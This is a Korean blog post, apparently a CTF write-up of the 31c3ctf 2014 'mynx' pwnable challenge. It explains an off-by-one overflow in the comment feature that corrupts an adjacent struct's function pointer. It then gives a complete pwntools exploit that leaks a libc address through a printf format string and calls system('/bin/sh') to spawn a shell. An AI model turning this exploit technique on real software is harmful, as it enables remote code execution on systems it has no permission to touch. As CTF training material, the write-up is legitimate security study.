ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • 31c3ctf 2014 mynx
    Pwnable/CTF 2017. 10. 9. 01:28
    여태까지 문제들을 풀이를 너무 보면서 한것같아서 이번문제부터는 최대한 풀이를 안 보고 풀어야겠다. 


    시작메뉴는 이런식으로 acii_art 추가, 출력, 세부메뉴? 등이 있다.
    취약점은 세부메뉴에서 comment 추가시키는 부분에 있는데 데이터부분을 252byte를 입력받는데 off by one 취약점이 생긴다.
    1byte로 인해 다음 구조체에 플래그 부분을 조작할수있게된다.


     


    아래 구조체 분석을 보면 함수 포인터가있는데 함수포인터는 select ascii_art 부분에 3번 메뉴로 있다.

     
    1. or연산
    2. LOLO 초기화
    3. 소문자 초기화

    기능은 이렇다.



    그리고 문제에서 나오는 구조체는 아래와 같다.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    ascii art
    [0= 0x48 
    [1= index
    [5= (&off_804A890 + 5 * input) == filter #function pointer()
    [9= data
     
    comment
    [0= 0x36 
    [1= index
    [5= data
    cs

    누가봐도 구조체에 함수 포인터가 나오는거보니 함수 포인터를 조작하는 문제인것같다.


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    from pwn import *
     
    p=process("./mynx")
    elf=ELF("./mynx")
     
    def add(filter_,ascii_art):
        p.recvuntil('> ')
        p.sendline("1")
        p.recvuntil('> ')
        p.sendline(str(filter_))
        p.recv(1024)
        p.send(ascii_art)
     
    def browse():
        p.recvuntil('> ')
        p.sendline("2")
     
    def select(id_):
        p.recvuntil('> ')
        p.sendline("3")
        p.recvuntil('> ')
        p.sendline(str(id_))
     
    def add_com(comment):
        p.recvuntil('> ')
        p.sendline("1")
        p.recvuntil('> ')
        p.send(comment)
     
    def remove_com():
        p.recvuntil('> ')
        p.sendline("2")
     
    def apply_com():
        p.recvuntil('> ')
        p.sendline("3")
     
    def back():
        p.recvuntil('> ')
        p.sendline("0")
     
    add(0,"A"*247#1
    add(1,"B"*247#2
     
    select(1)
    add_com("a"*251)
    back()
     
    add(1,"C"*247#3
     
    select(2)
    add_com("b"*251)
    back()
     
    select(3)
    add_com(p32(elf.plt['printf'])+"%11$p")
    back()
     
    select(1)
    remove_com()
    add_com("a"*251+"\x37")
    back()
     
    select(2)
    remove_com()
    add_com("b"*251+"\x49")
    back()
     
    select(3)
    apply_com()
    apply_com()
    libc_start_main = int(p.recv(10),16- 247
    libc_base = libc_start_main - 0x18540
    system = libc_base + 0x3ada0
    print hex(libc_start_main)
    print hex(libc_base)
    print hex(system)
    back()
     
     
    add(0,"D"*247#4
    add(1,"E"*247#5
     
    select(4)
    add_com("d"*251)
    back()
     
    add(1,"F"*247#6
     
    select(5)
    add_com("e"*251)
    back()
     
    select(6)
    add_com(p32(system)+"/bin/sh\00")
    back()
     
    select(4)
    remove_com()
    add_com("a"*251+"\x37")
    back()
     
    select(5)
    remove_com()
    add_com("b"*251+"\x49")
    back()
     
    select(6)
    apply_com()
     
    p.interactive()
    cs


    취약점을 찾았는데 찾은지 모르고 삽질을 하는 바람에 푸는데 시간이 조금 오래걸린것같다.

    'Pwnable > CTF' 카테고리의 다른 글

    RCTF 2015 welpwn  (0) 2017.11.04
    Belluminar 2016 remuheap  (0) 2017.10.19
    bctf 2016 memo  (0) 2017.10.02
    hitcon 2014 stkof  (0) 2017.09.04
    크리스마스CTF 2016 house_of_daehee  (0) 2017.08.28
Designed by Tistory.